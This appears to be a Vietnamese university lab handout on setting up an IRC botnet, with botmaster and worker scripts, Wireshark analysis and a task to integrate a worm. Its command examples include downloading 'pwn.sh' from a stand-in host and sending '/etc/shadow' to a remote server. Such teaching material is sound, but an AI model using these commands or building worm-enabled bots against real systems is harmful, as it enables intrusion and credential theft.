Trường Đại học Công nghệ Thông tin, ĐHQG-HCM
Phòng thí nghiệm An toàn Thông tin

3

Lab

Simple Botnet

Thực hành Cơ chế hoạt động của Mã độc

Lưu hành nội bộ 2023

A. TỔNG QUAN

A.1 Mục tiêu

- Tìm hiểu cơ chế hoạt động của Botnet
- Giả lập mạng Botnet để thực nghiệm
- Tích hợp Simple Worm vào Bot

A.2 Thời gian thực hành

- Tại lớp 5 tiết.
- Tại nhà 7 ngày.

B. CHUẨN BỊ MÔI TRƯỜNG

- **2 máy Ubuntu Desktop 16.04** (một máy đóng vai trò máy chủ, một máy đóng vai trò client để khai thác lỗ hổng trên máy chủ)
- **1 máy Windows** để chạy ứng dụng mIRC client.
- Cài đặt những gói ứng dụng hỗ trợ trong quá trình thực thi (lưu ý chạy với quyền root):

  – Update hệ điều hành Ununtu

  ```
  sudo apt-get update
  ```

  – Cài đặt pip cho python2.7

  ```
  wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
  sudo python get-pip.py
  ```

  – Cài đặt những thư viện cần thiết:

  ```
  sudo apt-get install libevent-dev
  sudo apt-get install python-all-dev
  sudo pip install irckit
  sudo pip install greenlet
  sudo pip install gevent
  ```

C. THỰC HÀNH

C.1 Giả lập mạng Botnet

1. Lấy mã nguồn được cấp và đọc thật kĩ nội dung trong tập tin irckit.pdf để nắm cơ chế hoạt động, biên dịch và thử nghiệm mạng botnet.
2. Sao chép mã nguồn lên 2 máy ảo.
3. Tại máy server:
   - Khởi động chương trình **Wireshark** để theo dõi quá trình kết nối của botmaster với irc.freenode.net.
   - Chạy dòng lệnh sau:

     ```
     python boss.py -c secretbotz -n daboss1 -x qwerty
     ```

     - python : từ khóa để thực thi file python
     - boss.py : file cần thực thi
     - -c <channel-name> : đăng ký một command channel mới
     - -n <nick-name> : nick name của boss trên channel
     - -x <secret> : secret để chứng thực boss trên channel

```
ubuntu@ubuntu:~/irc-master/botnet$ python boss.py -h
Usage: boss.py [options]

Options:
  -h, --help            show this help message and exit
  -s SERVER, --server=SERVER
                        IRC server to connect to
  -p PORT, --port=PORT  Port to connect on
  -n NICK, --nick=NICK  Nick to use
  -x SECRET, --secret=SECRET
  -c CHANNEL, --channel=CHANNEL
  -f LOGFILE, --logfile=LOGFILE
  -v VERBOSITY, --verbosity=VERBOSITY
```

> **Yêu cầu 1** **Từ kết quả wireshark thu thập được. Hãy phân tích quá trình gì đang diễn ra.**

4. Tại máy client, chạy dòng lệnh sau:

```
python worker.py -b daboss1
```

```
ubuntu@ubuntu:~/irc-master/botnet$ python worker.py --help
Usage: worker.py [options]

Options:
  -h, --help            show this help message and exit
  -s SERVER, --server=SERVER
                        IRC server to connect to
  -p PORT, --port=PORT  Port to connect on
  -n NICK, --nick=NICK  Nick to use
  -b BOSS, --boss=BOSS
  -f LOGFILE, --logfile=LOGFILE
  -v VERBOSITY, --verbosity=VERBOSITY
```

> **Yêu cầu 2** **Từ kết quả wireshark thu thập được. Hãy phân tích quá trình gì đang diễn ra.**

5. Sử dụng *IRC Client* để kết nối tới Server và thực hiện các command bên dưới:

run <program> Run the given program on the worker's host.

Example: `!execute run vmstat`

info Get info about the host the worker is running on

Example: `!execute info`

download <url> Retrieve a remote file and store it in the working directory

Example: `!execute download http://my-awesome-script.com/pwn.sh`

send_file <filename> <destination> Send file at <filename> to given destination (host:port) – this transers the raw data.

Example: `!execute send_file /etc/shadow some.fileserver.com:9001`

ports View what ports are open on the workers host

Example: `!execute ports`

status Return the workers queue size

Example: `!execute status`

get_time <format> Return the localtime from the workers host

Example: `!execute get_time`

> **Yêu cầu 3** **Báo cáo kết quả chạy command IRC client.**

C.2 Mở rộng mạng botnet với 2 bots

> **Yêu cầu 4** **Tiếp tục những gì đang thực hiện tại C.1, bạn hãy mở rộng mạng Botnet với 2 bots.**

C.3 Tích hợp Simple Worm với Bot

> **Yêu cầu 5** **Với những kiến thức về Simple Worm đã làm trong LAB 2 và Botnet vừa làm. Bạn hãy tích hợp Simple Worm vào Bot để ngoài việc thực hiện command từ xa còn có thể khai thác được lỗ hổng của máy từ xa.**

D. YÊU CẦU

- Sinh viên tìm hiểu và thực hành theo hướng dẫn theo nhóm đã sắp xếp.
- Báo cáo kết quả chi tiết những việc (**Report**) đã thực hiện, quan sát thấy và kèm ảnh chụp màn hình kết quả (nếu có); giải thích cho quan sát (nếu có), video demo (điểm cộng) đăng tải Youtube với chế độ unlisted.

Báo cáo:

- Làm báo cáo trên file **mẫu**.
- File **.PDF**. Tập trung vào nội dung, không mô tả lý thuyết.
- Trong file báo cáo yêu cầu **ghi rõ** nhóm sinh viên thực hiện.
- Đặt tên theo định dạng: [Mã lớp]-Lab1_MSSV1-MSSV2.pdf
  Ví dụ: [NT330.K21.ANTN.1]-Lab2_1552xxxx-1552yyyy.pdf
- Nếu báo cáo có nhiều file, nén tất cả file vào file **.ZIP** với cùng tên file báo cáo.
- Nộp file báo cáo trên theo thời gian đã thống nhất tại courses.uit.edu.vn.

Đánh giá: Sinh viên hiểu và tự thực hiện được bài thực hành. Khuyến khích:

- Chuẩn bị tốt và đóng góp tích cực tại lớp.
- Có nội dung mở rộng, ứng dụng trong kịch bản phức tạp hơn, có đóng góp xây dựng bài thực hành.

Bài sao chép, trễ,… sẽ được xử lý tùy mức độ vi phạm.

-HẾT-